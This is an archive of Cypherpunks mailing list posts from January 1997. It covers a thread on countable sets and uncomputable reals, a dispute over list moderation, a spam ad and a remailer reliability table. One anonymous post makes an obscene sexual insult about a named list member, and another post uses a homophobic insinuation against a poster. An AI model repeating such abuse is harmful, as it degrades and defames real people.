> expansion above. Which clearly qualifies as a formal system.

I suggest the following mental exercise. FORGET FOR A MOMENT ABOUT 
REAL NUMBERS. Let's deal with mummies: 

DEFINITION: I define a mummy as possibly infinite sequence of
characters, separated by one dot, such that only characters abcdefghij
are allowed. Also, mummies that are represented by finite sequences of
characters are by this definition equivalent to mummies that end
with an infinite sequence of letters "a". END DEFINITION.

Examples: 

dce.abdefhaabdaaa
ae.cacacacacacaca... 

and so on.

Obviously, some of the mummies, such as c.cccccc... (with an ininite 
sequence of "c") CAN be generated by algorithms.

The interesting fact, that i will prove below, is that some of
them cannot be generated by any algorithm.

THEOREM: The set of mummies is more than countable
PROOF: if it is countable, we can construct a mummy that is not counted.
it is easy.

THEOREM: there are mummies such that there is no algorithm that
can print them. 
PROOF: the set of mummies is more than countable, the set of algorithms 
is countable, therefore there is no way to construct a one-to-one
correspondence between mummies and algorithms.

Do you agree?

Now let's back to the original problem of real numbers: the only
difference between mummies and real numbers is that digits 0123456789
are replaced by characters abcdefghij. 

Not a whole lot of difference, so everything that applies to mummies
applies to real numbers.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 20 Jan 1997 08:13:58 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701201613.IAA12459@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> Forwarded message:
> 
> > Only countably many real numbers, or members of any uncountable
> > set, are denumerable. It is the property of being uncountable,
> > rather than of being real or complex, which is important here.
> 
> In short you are saying there are Reals which can not be expressed in the
> format:
> 
>      AmEm + Am-1Em-1 + ... + A0E0 . B0E-1 + B1E-2 + ... + BnE-n+1

All reals are equivalent to sequences of digits, but there are reals such 
that there is no algorithm to generate their digits.

It happens because there are "more" real numbers than algorithms.

> > In general, only countably many members of any uncountable set
> > can be precisely specified within any formal system, given names
> > comprised of strings of symbols, or other similar things.
> 
> And I contend that ANY number which is Real can be expressed by the decimal
> expansion above. Which clearly qualifies as a formal system.

I suggest the following mental exercise. FORGET FOR A MOMENT ABOUT 
REAL NUMBERS. Let's deal with mummies: 

DEFINITION: I define a mummy as possibly infinite sequence of
characters, separated by one dot, such that only characters abcdefghij
are allowed. Also, mummies that are represented by finite sequences of
characters are by this definition equivalent to mummies that end
with an infinite sequence of letters "a". END DEFINITION.

Examples: 

dce.abdefhaabdaaa
ae.cacacacacacaca... 

and so on.

Obviously, some of the mummies, such as c.cccccc... (with an ininite 
sequence of "c") CAN be generated by algorithms.

The interesting fact, that i will prove below, is that some of
them cannot be generated by any algorithm.

THEOREM: The set of mummies is more than countable
PROOF: if it is countable, we can construct a mummy that is not counted.
it is easy.

THEOREM: there are mummies such that there is no algorithm that
can print them. 
PROOF: the set of mummies is more than countable, the set of algorithms 
is countable, therefore there is no way to construct a one-to-one
correspondence between mummies and algorithms.

Do you agree?

Now let's back to the original problem of real numbers: the only
difference between mummies and real numbers is that digits 0123456789
are replaced by characters abcdefghij. 

Not a whole lot of difference, so everything that applies to mummies
applies to real numbers.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 19 Jan 1997 23:10:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <199701200515.XAA00924@manifold.algebra.com>
Message-ID: <41eT1D66w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Dale Thorn wrote:
> >
> > AIDAS wrote:
> > > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > > > > > Personally, I wish they'd hurry up. I'm getting rather annoyed wi
> > > > > > > spam, the "you're all homosexuals" postings, the posts by morons
> > > > > > > can't figure out Majordomo or their mailers, and so on and so for
> >
> > > > > > Not sure about "all", but someone whose name sounds like AIDS, and
> > > > > > advocates censorship, most likely is one.[snip]
> > > Ah, very strong response indeed. I feel as if shot down in flames,
> > > and my mind aches from the slice of your wit. Deliver us, oh Vulis,
> > > for we are in need!
> >
> > It still looks like Sandy to me.  Writing style for one, unwillingness
> > to drop an argument for two, and the use of the name AIDAS is *very*
> > suspicious.
>
> But Sandy gave his word publicly that he was not AIDAS!

Sandy is a proven liar.

However the AIDStwit sounds more like Ray Arachelian.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Sun, 19 Jan 1997 22:02:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Take it to sci.math
Message-ID: <199701200602.WAA14162@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Will all those people who are talking about set theory and
the countability of various number systems take their discussion
to sci.math, please? 'Cuz

1) All that stuff is irrelevant to crypto, its science or politics.
2) Not a single math comment made by anybody on any of those
	threads is even remotely correct.
3) You will recieve your proper chewing out on sci.math

and

4) This bullshit is extremely annoying to those of us who has some real
	training in math, even more so than the regular bullshit on this list.

Hey Sandy, you gonna censor these creeps once you start censoring?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: WinSock Remailer <winsock@rigel.cyberpass.net>
Date: Sun, 19 Jan 1997 22:12:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Take it to sci.math
Message-ID: <199701200612.WAA01712@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Will all those people who are talking about set theory and
the countability of various number systems take their discussion
to sci.math, please? 'Cuz

1) All that stuff is irrelevant to crypto, its science or politics.
2) Not a single math comment made by anybody on any of those
	threads is even remotely correct.
3) You will recieve your proper chewing out on sci.math

and

4) This bullshit is extremely annoying to those of us who has some real
	training in math, even more so than the regular bullshit on this list.

Hey Sandy, you gonna censor these creeps once you start censoring?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Mon, 20 Jan 1997 00:03:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701200745.CAA29925@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[reep] May likes to lick the 
semen-shit mixture that accumulates in the 
crack of his mother's ass.

        ,_ o
       /  //\, Tim C[reep] May
         \>> |
          \\,





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Mon, 20 Jan 1997 00:20:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Take it to sci.math
Message-ID: <199701200819.DAA06807@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


At 1:01 AM 1/20/1997, WinSock Remailer wrote:
>Will all those people who are talking about set theory and
>the countability of various number systems take their discussion
>to sci.math, please? 'Cuz

What a joke!  Of all the messages to whine about this guy picks the
math thread.  Somehow that wouldn't have been my first choice.

>1) All that stuff is irrelevant to crypto, its science or politics.

No, but it's interesting to many readers of this list and it builds
community.

>2) Not a single math comment made by anybody on any of those
>        threads is even remotely correct.
>3) You will recieve your proper chewing out on sci.math
>
>and
>
>4) This bullshit is extremely annoying to those of us who has some real
>        training in math, even more so than the regular bullshit on this list.

I don't get this at all.  You have particular knowledge in the field,
but instead of sharing the information with the rest of us, you find
our (apparently) pathetic attempts to gain understanding to be
"extremely annoying" and imply we need to be chewed out.

Commander Zero





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <lucifer@dhp.com>
Date: Mon, 20 Jan 1997 08:11:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Take it to sci.math
Message-ID: <199701201611.IAA12389@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 1:01 AM 1/20/1997, WinSock Remailer wrote:
>Will all those people who are talking about set theory and
>the countability of various number systems take their discussion
>to sci.math, please? 'Cuz

What a joke!  Of all the messages to whine about this guy picks the
math thread.  Somehow that wouldn't have been my first choice.

>1) All that stuff is irrelevant to crypto, its science or politics.

No, but it's interesting to many readers of this list and it builds
community.

>2) Not a single math comment made by anybody on any of those
>        threads is even remotely correct.
>3) You will recieve your proper chewing out on sci.math
>
>and
>
>4) This bullshit is extremely annoying to those of us who has some real
>        training in math, even more so than the regular bullshit on this list.

I don't get this at all.  You have particular knowledge in the field,
but instead of sharing the information with the rest of us, you find
our (apparently) pathetic attempts to gain understanding to be
"extremely annoying" and imply we need to be chewed out.

Commander Zero






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 02:36:20 -0800 (PST)
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Sandy and the Doc
In-Reply-To: <32E1BBD9.6A0C@gte.net>
Message-ID: <32E35EC9.2E6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz wrote:

> I hope if such a system is set up, people who use it will realize that
> email is not 100% reliable.  Just because algebra.com sent mail to
> toad.com, doesn't mean that toad.com actually received it.  A small
> fraction of a percent of these messages will be lost.

  Are there any critereon established, yet, as to what type of content
will be necessary for a letter to get 'lost'?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 08:11:37 -0800 (PST)
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Sandy and the Doc
Message-ID: <199701201611.IAA12321@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz wrote:

> I hope if such a system is set up, people who use it will realize that
> email is not 100% reliable.  Just because algebra.com sent mail to
> toad.com, doesn't mean that toad.com actually received it.  A small
> fraction of a percent of these messages will be lost.

  Are there any critereon established, yet, as to what type of content
will be necessary for a letter to get 'lost'?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 20 Jan 1997 06:06:29 -0800 (PST)
To: cypherpunks-outgoing-ksiuw@toad.com
Subject: test message
Message-ID: <199701201406.GAA17086@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain



This is sent to cypherpunks-outgoing-ksiuw.
Will it make it to the cypherpunks list?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: remove@structuremg.com
Date: Mon, 20 Jan 1997 03:23:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Too much week at the end of your paycheck?
Message-ID: <Ready Aim Fire!_1/20/97 6:23:05 AM_remove@structuremg.com>
MIME-Version: 1.0
Content-Type: text/plain



Do you need to supplement your income? Are you paying out in bills more than you make? Have you thought about a second job but wondered when you would have time?

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reply with "REMOVE" in the subject and place your email
address in the body. You must do this correctly to be removed.
**************************************************************




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 20 Jan 1997 06:53:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199701201450.GAA21618@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 20 Jan 97 6:47:59 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             +#+-*******#     4:38  99.99%
weasel   config@weasel.owl.de             +++++-+++++   1:34:36  99.95%
lucifer  lucifer@dhp.com                  +++++-++++++    36:32  99.94%
balls    remailer@huge.cajones.com        *+ *********     3:01  99.94%
cyber    alias@alias.cyberpass.net        * +*++++*+**    35:08  99.88%
exon     remailer@remailer.nl.com         * ++##*###*#     1:14  99.86%
winsock  winsock@rigel.cyberpass.net      -----------   2:02:21  99.86%
dustbin  dustman@athensnet.com            -++--+.--+-   3:01:52  99.74%
squirrel mix@squirrel.owl.de              ++ + ++ +++   1:35:05  99.41%
lead     mix@zifi.genetics.utah.edu       +++++-++*+*+    39:30  99.35%
extropia remail@miron.vip.best.com        -----------   5:06:43  98.93%
haystack haystack@holy.cow.net            +*  .-####+#  2:24:43  98.64%
replay   remailer@replay.com              +*+*******      15:38  98.25%
reno     middleman@cyberpass.net          +   +   -+--  1:51:15  92.61%
middle   middleman@jpunix.com             ++ -+ .--     1:48:09  67.78%
mix      mixmaster@remail.obscura.com     .-++-+.       4:35:20  50.49%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 20 Jan 1997 08:31:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199701201631.IAA12931@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 20 Jan 97 6:47:59 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             +#+-*******#     4:38  99.99%
weasel   config@weasel.owl.de             +++++-+++++   1:34:36  99.95%
lucifer  lucifer@dhp.com                  +++++-++++++    36:32  99.94%
balls    remailer@huge.cajones.com        *+ *********     3:01  99.94%
cyber    alias@alias.cyberpass.net        * +*++++*+**    35:08  99.88%
exon     remailer@remailer.nl.com         * ++##*###*#     1:14  99.86%
winsock  winsock@rigel.cyberpass.net      -----------   2:02:21  99.86%
dustbin  dustman@athensnet.com            -++--+.--+-   3:01:52  99.74%
squirrel mix@squirrel.owl.de              ++ + ++ +++   1:35:05  99.41%
lead     mix@zifi.genetics.utah.edu       +++++-++*+*+    39:30  99.35%
extropia remail@miron.vip.best.com        -----------   5:06:43  98.93%
haystack haystack@holy.cow.net            +*  .-####+#  2:24:43  98.64%
replay   remailer@replay.com              +*+*******      15:38  98.25%
reno     middleman@cyberpass.net          +   +   -+--  1:51:15  92.61%
middle   middleman@jpunix.com             ++ -+ .--     1:48:09  67.78%
mix      mixmaster@remail.obscura.com     .-++-+.       4:35:20  50.49%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 20 Jan 1997 07:16:46 -0800 (PST)
To: Ross Wright <rwright@adnetsol.com>
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfort
In-Reply-To: <199701200636.WAA21133@adnetsol.adnetsol.com>
Message-ID: <32E38C37.7D69@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Ross Wright wrote:
> On or About 19 Jan 97 at 17:37, Dale Thorn wrote:
> > Somebody correct me if I'm wrong.  We already get the censored stuff
> > on the alleged-to-be "unedited" list, so by looking at the censored
> > list only, we can do the subtraction more reliably than Sandfort.
> > Just the censored list is needed, not the cut-out stuff, as far as I know.

> I disagree.  Or I don't quite understand what you are saying.  I
> want to see the moderated list and I want to see what was removed.
> So since I was automatically given the Moderated List, I just put in
> a subscription, under a different address, so I can easily see what was
> removed.  Of the three lists that now exist: unedited, edited, and
> removed posts, I would chose to remove the unedited version so that I
> can keep my eye on what the moderators decide I should not see.  That
> gives me an insight into what they think.

Ross, I agree in principle, but not in fact.  If the "removed" list
was accurate, I'd say yes, but not only is it suspect, Sandy admitted
personally that some items could "fall thru the cracks" and not make
it to either the edited or removed list.

The only way to guarantee the removed list is to subtract the censored
list from the uncensored list, and hope that the uncensored list is
complete.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 20 Jan 1997 08:28:08 -0800 (PST)
To: Ross Wright <rwright@adnetsol.com>
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfort
Message-ID: <199701201628.IAA12867@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Ross Wright wrote:
> On or About 19 Jan 97 at 17:37, Dale Thorn wrote:
> > Somebody correct me if I'm wrong.  We already get the censored stuff
> > on the alleged-to-be "unedited" list, so by looking at the censored
> > list only, we can do the subtraction more reliably than Sandfort.
> > Just the censored list is needed, not the cut-out stuff, as far as I know.

> I disagree.  Or I don't quite understand what you are saying.  I
> want to see the moderated list and I want to see what was removed.
> So since I was automatically given the Moderated List, I just put in
> a subscription, under a different address, so I can easily see what was
> removed.  Of the three lists that now exist: unedited, edited, and
> removed posts, I would chose to remove the unedited version so that I
> can keep my eye on what the moderators decide I should not see.  That
> gives me an insight into what they think.

Ross, I agree in principle, but not in fact.  If the "removed" list
was accurate, I'd say yes, but not only is it suspect, Sandy admitted
personally that some items could "fall thru the cracks" and not make
it to either the edited or removed list.

The only way to guarantee the removed list is to subtract the censored
list from the uncensored list, and hope that the uncensored list is
complete.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 20 Jan 1997 07:26:19 -0800 (PST)
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: [Math Noise] (fwd)
In-Reply-To: <199701200457.UAA00416@toad.com>
Message-ID: <199701201628.IAA11672@songbird.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate allegedly said:
> 
> 
> Forwarded message:
> 
> > Only countably many real numbers, or members of any uncountable
> > set, are denumerable. It is the property of being uncountable,
> > rather than of being real or complex, which is important here.
> 
> In short you are saying there are Reals which can not be expressed in the
> format:
> 
>      AmEm + Am-1Em-1 + ... + A0E0 . B0E-1 + B1E-2 + ... + BnE-n+1

No, that's not what he is saying.  What you have written does not represent 
a *specific* number.  He is saying that IF you have a particular scheme for 
representing *specific* numbers, you can only represent countably many 
-- for any given scheme, there are numbers you can't represent. 

To put it another way a scheme that says "you can represent numbers 
as half infinite strings of digits with a single period somewhere" 
doesn't actually *specify* any numbers.  A scheme that says "start 
with the number 1 and increment it 400 times" actually specifies a 
number. 

> And I contend that ANY number which is Real can be expressed by the decimal
> expansion above. Which clearly qualifies as a formal system.

To be a formal system of the type required, you would also have to 
specify deterministic rules that could generate the "Ai" values.  The 
key distinction is between "expressed by" and "generated by".


-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 20 Jan 1997 08:29:50 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701201629.IAA12902@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate allegedly said:
> 
> 
> Forwarded message:
> 
> > Only countably many real numbers, or members of any uncountable
> > set, are denumerable. It is the property of being uncountable,
> > rather than of being real or complex, which is important here.
> 
> In short you are saying there are Reals which can not be expressed in the
> format:
> 
>      AmEm + Am-1Em-1 + ... + A0E0 . B0E-1 + B1E-2 + ... + BnE-n+1

No, that's not what he is saying.  What you have written does not represent 
a *specific* number.  He is saying that IF you have a particular scheme for 
representing *specific* numbers, you can only represent countably many 
-- for any given scheme, there are numbers you can't represent. 

To put it another way a scheme that says "you can represent numbers 
as half infinite strings of digits with a single period somewhere" 
doesn't actually *specify* any numbers.  A scheme that says "start 
with the number 1 and increment it 400 times" actually specifies a 
number. 

> And I contend that ANY number which is Real can be expressed by the decimal
> expansion above. Which clearly qualifies as a formal system.

To be a formal system of the type required, you would also have to 
specify deterministic rules that could generate the "Ai" values.  The 
key distinction is between "expressed by" and "generated by".


-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 20 Jan 1997 07:32:08 -0800 (PST)
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: [Math Noise] (fwd)
In-Reply-To: <199701200456.UAA00404@toad.com>
Message-ID: <199701201634.IAA11748@songbird.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate allegedly said:
> 
[...]
> The number of cuts are 1-to-1 with the Reals, they are not the Reals.
> There is no way I can make a cut which is 3.1527, only 1-to-1 with the
> number(s). Important distinction.

They are 1-1 with the Reals, you can define all the operations on 
them that are defined for reals, for every representable real (like 
3.1527) there exists a DC.  You have some idea, perhaps that there 
are "real" reals, as opposed to the various constructs for defining 
them?  Perhaps you could define what a "real" real would be?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 20 Jan 1997 08:26:21 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: [Math Noise] (fwd)
